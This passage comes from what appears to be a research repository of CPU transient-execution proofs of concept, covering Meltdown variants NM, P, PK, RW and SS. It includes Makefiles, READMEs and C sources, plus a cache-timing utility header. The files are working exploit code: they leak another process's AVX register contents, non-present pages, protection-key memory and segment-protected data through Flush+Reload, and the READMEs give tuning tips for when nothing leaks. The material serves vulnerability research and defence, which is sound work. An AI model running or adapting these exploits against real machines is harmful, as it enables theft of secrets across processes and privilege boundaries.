successfully\n"); } return 0; } static void __exit hello_exit(void) { remove_proc_entry("cr3", NULL); printk(KERN_INFO "Goodbye world!\n"); } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); ================================================ FILE: pocs/meltdown/NM/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c victim.c secret.h gcc main.c -o poc_x86 -Os -I../../ gcc victim.c -o victim -Os main_arm: main.c victim.c secret.h aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os victim.c -o victim -I../../ clean: rm -f poc_* victim ================================================ FILE: pocs/meltdown/NM/README.md ================================================ # Meltdown-NM PoC This folder contains a Meltdown-NM proof-of-concept implementation for x86_64. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works This PoC consists of two different process. The victim constantly loads the secret value into an AVX2 register. On a vulnerable CPU and OS, the register content is not saved on a context switch due to lazy switching. Our attacker process exploits this by loading the value from the AVX2 register and encodes it in the cache. The data is then recovered using a Flush+Reload attack. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/NM/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "libcache/cacheutils.h" #include "secret.h" int main(void) { pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" '%c'.....Works\n", SECRET); for(int r = 0; r < 1000000; r++) { if(try_start()) { // Encode the data from the AVX register of the other process in the cache asm volatile("1:\n" \ "movq (%%rsi), %%rsi\n" \ "movq %%xmm0, %%rax\n" \ "shl $12, %%rax\n" \ "jz 1b\n" \ "movq (%%rbx,%%rax,1), %%rbx\n" \ : \ : "b"(mem), "S"(0) \ : "rax"); try_abort(); } try_end(); // Recover data from the cache for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-NM done!\n"); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/NM/secret.h ================================================ #ifndef SECRET_H #define SECRET_H #define SECRET 'S' #endif ================================================ FILE: pocs/meltdown/NM/victim.c ================================================ #define _GNU_SOURCE #include #include "secret.h" int main(void) { size_t secret = SECRET; // Constantly load the secret data into an AVX register while(1) asm volatile( "pause\t\n" "movq %0, %%xmm0" :: "r"(secret) ); return 0; } ================================================ FILE: pocs/meltdown/P/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ -L../../libpte -lpte -lrt main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ -L../../libpte -lpte -lrt clean: rm -f poc_* ================================================ FILE: pocs/meltdown/P/README.md ================================================ # Meltdown-P PoC This folder contains a Meltdown-P proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In our PoC, we create a shared mapping to a piece of memory. For one mapping, we clear the present bit using libpte (PTEditor), the other one remains a valid (present) mapping. This valid mapping is required to load the data into the cache. We leak the data by accessing it through the non-present mapping and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/meltdown/P/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "libpte/ptedit_header.h" #include "libcache/cacheutils.h" char *victim_page; #define SECRET 'S' int main(void) { pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Initialize PTEditor to manipulate page table entries if(ptedit_init()) { printf("Could not initialize ptedit (did you load the kernel module?)\n"); return 1; } // We need a shared mapping. One mapping gets P bit cleared.. // The second one remains valid to keep data in the cache as it works better. int shm = shm_open("shared_mapping", O_CREAT | O_RDWR, 0644); if(shm == -1) { fprintf(stderr, "Error: Shared memory\n"); return -1; } // Set memory objects size if(ftruncate(shm, 4096 * 2) == -1) { fprintf(stderr, "Error: Could not set shared memory object size\n"); return -1; } // Victim mapping that gets P bit cleared victim_page = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); // Mapping for keeping data in the cache char* accessor = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); // Write data we want to recover to our victim page memset( victim_page, SECRET, pagesize * sizeof(char) ); // Clear P bit of our victim page ptedit_pte_clear_bit( victim_page, 0, PTEDIT_PAGE_BIT_PRESENT); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" '%c'.....Works\n", (char)SECRET); for(int r = 0; r < 1000000; r++) { // Load data into the cache and fence maccess(accessor); mfence(); //Start TSX transaction if available on CPU if(try_start()) { // Null pointer access prolongs transient window maccess(0); // Perform access based on unauthorized data maccess(mem + *victim_page * 4096); try_abort(); } try_end(); // Recover data from cache covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if (mix_i != 0 && flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-P done!\n"); munmap(victim_page, pagesize); munmap(accessor, pagesize); ptedit_cleanup(); free(mem); exit(EXIT_SUCCESS); } ================================================ FILE: pocs/meltdown/PK/Makefile ================================================ all: x86 x86: main_x86 main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ clean: rm -f poc_* ================================================ FILE: pocs/meltdown/PK/README.md ================================================ # Meltdown-PK PoC This folder contains a Meltdown-PK proof-of-concept implementation for x86_64. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` for x86_64. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In our PoC, we assign a protection key to a buffer containing the secret. In each iteration, we disable the protection, access the data, and re-enable the protection. This is to ensure that the data is cached. We leak the data by accessing the protected buffer and encode the data in the cache by accessing a page depending on the loaded value. We recover the data using a Flush+Reload attack. In our PoC, we suppress the page fault either via Intel TSX or segfault handling. Another possibility would be to hide the faulting access in speculation. This PoC requires a CPU that supports Intel MPK. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/PK/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' int main(void) { int status; int pkey; char *buffer; pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); buffer = mmap(NULL, pagesize, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if(buffer == MAP_FAILED) { perror("mmap"); return EXIT_FAILURE; } // Put some random data into the page (still OK to touch) *buffer = SECRET; printf("buffer contains: %d\n", *buffer); // Allocate a protection key: pkey = pkey_alloc(0, PKEY_DISABLE_ACCESS); if(pkey == -1) { perror("pkey_alloc"); return EXIT_FAILURE; } // Enable access to any memory with "pkey" set, // even though there is none right now status = pkey_set(pkey, 0); if(status) { perror("pkey_set"); return EXIT_FAILURE; } // Set the protection key on "buffer". // Note that it is still read/write as far as mprotect() is // concerned and the previous pkey_set() overrides it. status = pkey_mprotect(buffer, getpagesize(), PROT_READ | PROT_WRITE, pkey); if(status == -1) { perror("pkey_mprotect"); return EXIT_FAILURE; } printf("Buffer: %d\n", *buffer); // Disable access status = pkey_set(pkey, PKEY_DISABLE_ACCESS); if(status) { perror("pkey_set"); return EXIT_FAILURE; } printf("about to read buffer with Meltdown-PK...\n"); // flush memory before access flush_shared_memory(); for(int r = 0; r < 1000000; r++) { // ensure data is cached pkey_set(pkey, 0); maccess(buffer); pkey_set(pkey, PKEY_DISABLE_ACCESS); // just to be sure... mfence(); nospec(); sched_yield(); // TSX begin if(try_start()) { // Encode data in the cache asm volatile("1:\n" "movq (%%rsi), %%rsi\n" "movzx (%%rcx), %%rax\n" "shl $12, %%rax\n" "jz 1b\n" "movq (%%rbx,%%rax,1), %%rbx\n" : : "c"(buffer), "b"(mem), "S"(0) : "rax"); try_abort(); } try_end(); // Recover data from cache covert channel for(int i = 1; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if (flush_reload(mem + mix_i * pagesize)) { printf("%d ", mix_i); fflush(stdout); } } } printf("Meltdown-PK done!\n"); // Free protection key if(pkey_free(pkey) == -1) { perror("pkey_free"); return EXIT_FAILURE; } munmap(buffer, pagesize); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/RW/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm main_x86: main.c gcc main.c -o poc_x86 -O3 -I../../ main_arm: main.c aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ clean: rm -f poc_* ================================================ FILE: pocs/meltdown/RW/README.md ================================================ # Meltdown-RW PoC This folder contains a Meltdown-RW proof-of-concept implementation for x86_64 and ARMv8. ## Compile Compile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version. ## Run Run with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. The expected output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In our PoC, we have function consisting of just bytes of 'R'. We then write to this function, reload the data and encode it in the cache. Writing to a function triggers a fault as functions are not writable. We suppress the fault either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. ================================================ FILE: pocs/meltdown/RW/main.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include "libcache/cacheutils.h" #define SECRET 'S' void function() { asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); asm volatile(".byte 'R','R','R','R','R','R','R','R','R','R','R','R','R','R','R','R'\n"); } int main(void) { pagesize = sysconf(_SC_PAGESIZE); mem = (char*) malloc( pagesize * 256 ); memset(mem, 1, pagesize * 256); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Flush our shared memory flush_shared_memory(); printf("Output legend:\n"); printf(" 'R'.....Read old value\n"); printf(" '%c'.....Read new value\n\n", (char)SECRET); for(int r = 0; r < 1000000; r++) { if(try_start()) { //Null pointer access prolongs transient window maccess(0); //overwrite read-only data (*((volatile char*)((size_t)function + 32))) = SECRET; //access shared memory based on overwritten value maccess(mem + *((volatile char*)((size_t)function + 32)) * pagesize); try_abort(); } try_end(); //Recover data from cache covert channel for(int i = 0; i < 256; i++) { int mix_i = ((i * 167) + 13) % 256; if(flush_reload(mem + mix_i * pagesize)) { printf("%c ", mix_i); fflush(stdout); } } } printf("Meltdown-RW done!\n"); free(mem); return EXIT_SUCCESS; } ================================================ FILE: pocs/meltdown/SS/Makefile ================================================ all: gcc -m32 -DM32=1 -o poc_x86 main.c clean: rm -rf poc_x86 ================================================ FILE: pocs/meltdown/SS/README.md ================================================ # Meltdown-SS PoC This folder contains a Meltdown-SS proof-of-concept implementation for x86_64. ## Compile Compile using `make x86` for the x86_64 version. ## Run Run with `./poc_x86` for x86_64. If the PoC is successfull the output is ``` S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S ``` ## How it works In this PoC, we modify the Local Descriptor Table so that we can trigger a stack-segment fault. We then try to encode the secret value in the cache. Exception suppression is done by either via Intel TSX or segfault handling. ## Troubleshooting * The output is garbage (mostly just (random letters)) + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. * The program does not leak anything + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. ================================================ FILE: pocs/meltdown/SS/cacheutils.h ================================================ #ifndef _CACHEUTILS_H_ #define _CACHEUTILS_H_ #include #include #include #include #include #include #include #include #include #define ARM_PERF 1 #define ARM_CLOCK_MONOTONIC 2 #define ARM_TIMER 3 /* ============================================================ * User configuration * ============================================================ */ size_t CACHE_MISS = 0; #define USE_RDTSC_BEGIN_END 0 #define USE_RDTSCP 1 #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC /* ============================================================ * User configuration End * ============================================================ */ // --------------------------------------------------------------------------- static size_t perf_fd; void perf_init() { static struct perf_event_attr attr; attr.type = PERF_TYPE_HARDWARE; attr.config = PERF_COUNT_HW_CPU_CYCLES; attr.size = sizeof(attr); attr.exclude_kernel = 1; attr.exclude_hv = 1; attr.exclude_callchain_kernel = 1; perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); assert(perf_fd >= 0); // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); } #if defined(__i386__) || defined(__x86_64__) // --------------------------------------------------------------------------- uint64_t rdtsc() { uint64_t a, d; asm volatile("mfence"); #if M32 asm volatile("rdtsc" : "=A"(a)); #else #if USE_RDTSCP asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); #else asm volatile("rdtsc" : "=a"(a), "=d"(d)); #endif a = (d << 32) | a; #endif asm volatile("mfence"); return a; } // --------------------------------------------------------------------------- uint64_t rdtsc_begin() { uint64_t a, d; asm volatile ("mfence\n\t" "CPUID\n\t" "RDTSCP\n\t" "mov %%edx, %0\n\t" "mov %%eax, %1\n\t" "mfence\n\t" : "=m" (d), "=m" (a) : : "%rax", "%rbx", "%rcx", "%rdx"); a = (d<<32) | a; return a; } // --------------------------------------------------------------------------- uint64_t rdtsc_end() { uint64_t a, d; asm volatile("mfence\n\t" "RDTSCP\n\t" "mov %%edx, %0\n\t" "mov %%eax, %1\n\t" "CPUID\n\t" "mfence\n\t" : "=m" (d), "=m" (a) : : "%rax", "%rbx", "%rcx", "%rdx"); a = (d<<32) | a; return a; } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); } // --------------------------------------------------------------------------- void maccess(void *p) { asm volatile("mov (%0), %%eax\n" : : "c"(p) : "rax"); } // --------------------------------------------------------------------------- void mfence() { asm volatile("mfence"); } // --------------------------------------------------------------------------- void nospec() { asm volatile("lfence"); } #include // --------------------------------------------------------------------------- unsigned int xbegin() { unsigned status; asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); return status; } // --------------------------------------------------------------------------- void xend() { asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); } // --------------------------------------------------------------------------- int has_tsx() { if (__get_cpuid_max(0, NULL) >= 7) { unsigned a, b, c, d; __cpuid_count(7, 0, a, b, c, d); return (b & (1 << 11)) ? 1 : 0; } else { return 0; } } // --------------------------------------------------------------------------- void maccess_tsx(void* ptr) { if (xbegin() == (~0u)) { maccess(ptr); xend(); } } #elif defined(__aarch64__) #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC #include #endif // --------------------------------------------------------------------------- uint64_t rdtsc() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); asm volatile("ISB"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("ISB"); asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); asm volatile("ISB"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("ISB"); asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("ISB"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("DSB SY"); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- uint64_t rdtsc_begin() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); asm volatile("ISB"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); asm volatile("ISB"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("ISB"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- uint64_t rdtsc_end() { #if ARM_CLOCK_SOURCE == ARM_PERF long long result = 0; asm volatile("DSB SY"); if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { return 0; } asm volatile("ISB"); asm volatile("DSB SY"); return result; #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC asm volatile("DSB SY"); struct timespec t1; clock_gettime(CLOCK_MONOTONIC, &t1); uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; asm volatile("ISB"); asm volatile("DSB SY"); return res; #elif ARM_CLOCK_SOURCE == ARM_TIMER uint64_t result = 0; asm volatile("DSB SY"); asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); asm volatile("DSB SY"); asm volatile("ISB"); return result; #else #error Clock source not supported #endif } // --------------------------------------------------------------------------- void flush(void *p) { asm volatile("DC CIVAC, %0" ::"r"(p)); asm volatile("DSB ISH"); asm volatile("ISB"); } // --------------------------------------------------------------------------- void maccess(void *p) { volatile uint32_t value; asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); asm volatile("DSB ISH"); asm volatile("ISB"); } // --------------------------------------------------------------------------- void mfence() { asm volatile("DSB ISH"); } // --------------------------------------------------------------------------- void nospec() { asm volatile("DSB SY\nISB"); } #endif // --------------------------------------------------------------------------- int flush_reload(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); flush(ptr); if (end - start < CACHE_MISS) { return 1; } return 0; } // --------------------------------------------------------------------------- int flush_reload_t(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); flush(ptr); return (int)(end - start); } // --------------------------------------------------------------------------- int reload_t(void *ptr) { uint64_t start = 0, end = 0; #if USE_RDTSC_BEGIN_END start = rdtsc_begin(); #else start = rdtsc(); #endif maccess(ptr); #if USE_RDTSC_BEGIN_END end = rdtsc_end(); #else end = rdtsc(); #endif mfence(); return (int)(end - start); } // --------------------------------------------------------------------------- size_t detect_flush_reload_threshold() { size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; size_t dummy[16]; size_t *ptr = dummy + 8; uint64_t start = 0, end = 0; maccess(ptr); for (i = 0; i < count; i++) { reload_time += reload_t(ptr); } for (i = 0; i < count; i++) { flush_reload_time += flush_reload_t(ptr); } reload_time /= count; flush_reload_time /= count; return (flush_reload_time + reload_time * 2) / 3; } // --------------------------------------------------------------------------- void maccess_speculative(void* ptr) { int i; size_t dummy = 0; void* addr; for(i = 0; i < 50; i++) { size_t c = ((i * 167) + 13) & 1; addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); flush(&c); mfence(); if(c / 0.5 > 1.1) maccess(addr); } } // --------------------------------------------------------------------------- jmp_buf trycatch_buf; // --------------------------------------------------------------------------- void unblock_signal(int signum __attribute__((__unused__))) { sigset_t sigs; sigemptyset(&sigs); sigaddset(&sigs, signum); sigprocmask(SIG_UNBLOCK, &sigs, NULL); } // --------------------------------------------------------------------------- void trycatch_segfault_handler(int signum) { (void)signum; int i; for(i = 1; i < 32; i++) { unblock_signal(i); } longjmp(trycatch_buf, 1); } // --------------------------------------------------------------------------- int try_start() { #if defined(__i386__) || defined(__x86_64__) if(has_tsx()) { unsigned status; // tsx begin asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); return status == (~0u); } else #endif { int i; for(i = 1; i < 32; i++) { signal(i, trycatch_segfault_handler); } return !setjmp(trycatch_buf); } } // --------------------------------------------------------------------------- void try_end() { #if defined(__i386__) || defined(__x86_64__) if(!has_tsx()) #endif { int i; for(i = 1; i < 32; i++) { signal(i, SIG_DFL); } } } // --------------------------------------------------------------------------- void try_abort() { #if defined(__i386__) || defined(__x86_64__) if(has_tsx()) { asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); } else #endif { maccess(0); } } #endif ================================================ FILE: pocs/meltdown/SS/main.c ================================================ #define _GNU_SOURCE #include "cacheutils.h" #include #include #include #include #include #include #include #include char mem[4096 * 256]; #define SEGMENT "es" #define DO_SEG_FAIL 1 char __attribute__((aligned(0x1000))) secret = 'S'; char __attribute__((aligned(0x1000))) dummy; unsigned status; struct user_desc my_desc_ok = { .entry_number = 0, .base_addr = 0x0, .limit = 0xFFFFFF, .seg_32bit = 0x1, .contents = MODIFY_LDT_CONTENTS_DATA, .read_exec_only = 0x0, .limit_in_pages = 0x1, .seg_not_present = 0x0, .useable = 0x1 }; struct user_desc my_desc_fail = { .entry_number = 1, .base_addr = 0x0, .limit = 0x1, .seg_32bit = 0x1, .contents = MODIFY_LDT_CONTENTS_DATA, .read_exec_only = 0x0, .limit_in_pages = 0x1, .seg_not_present = 0x0, .useable = 0x1 }; void inline __attribute__((always_inline)) seg_ok(void) { asm("mov $0x7, %%eax\n\t" /* 0111: 0=idx, 1=LDT, 11=CPL */ "mov %%eax, %%" SEGMENT "\n\t" :::"eax"); } void inline __attribute__((always_inline)) seg_fail(void) { asm("mov $0xf, %%eax\n\t" /* 0111: 1=idx, 1=LDT, 11=CPL */ "mov %%eax, %%" SEGMENT "\n\t" :::"eax"); } int main(void) { if(syscall(__NR_modify_ldt, 1, &my_desc_ok, sizeof(struct user_desc))) exit(EXIT_FAILURE); if(syscall(__NR_modify_ldt, 1, &my_desc_fail, sizeof(struct user_desc))) exit(EXIT_FAILURE); memset(mem, 1, sizeof(mem)); // Detect cache threshold if(!CACHE_MISS) CACHE_MISS = detect_flush_reload_threshold(); printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); // Flush our shared memory for(int i = 0; i < 256; i++) { flush(mem + i * 4096); } for(int r = 0; r < 1000000; r++) { // Ensure data is in the cache maccess(&secret); #if DO_SEG_FAIL seg_fail(); #endif // tsx begin if(try_start()) { // Encode in the cache asm("mov dummy, %%ebx\n\t" "mov %%" SEGMENT ":secret, %%eax\n\t" "shl $0xc, %%eax\n\t" "mov (%0, %%eax), %%eax\n\t" ::"c"(mem):"eax", "ebx"); // tsx end try_abort(); } try_end(); seg_ok(); // Recover data from the covert channel for(int i = 1; i < 256; i++) { if (flush_reload(mem + i * 4096)) { printf("%c ", i); } } flush(&dummy); } printf("Meltdown-SS done!\n"); exit(EXIT_SUCCESS); } ================================================ FILE: pocs/meltdown/UD/Makefile ================================================ all: x86 x86: main_x86 arm: main_arm 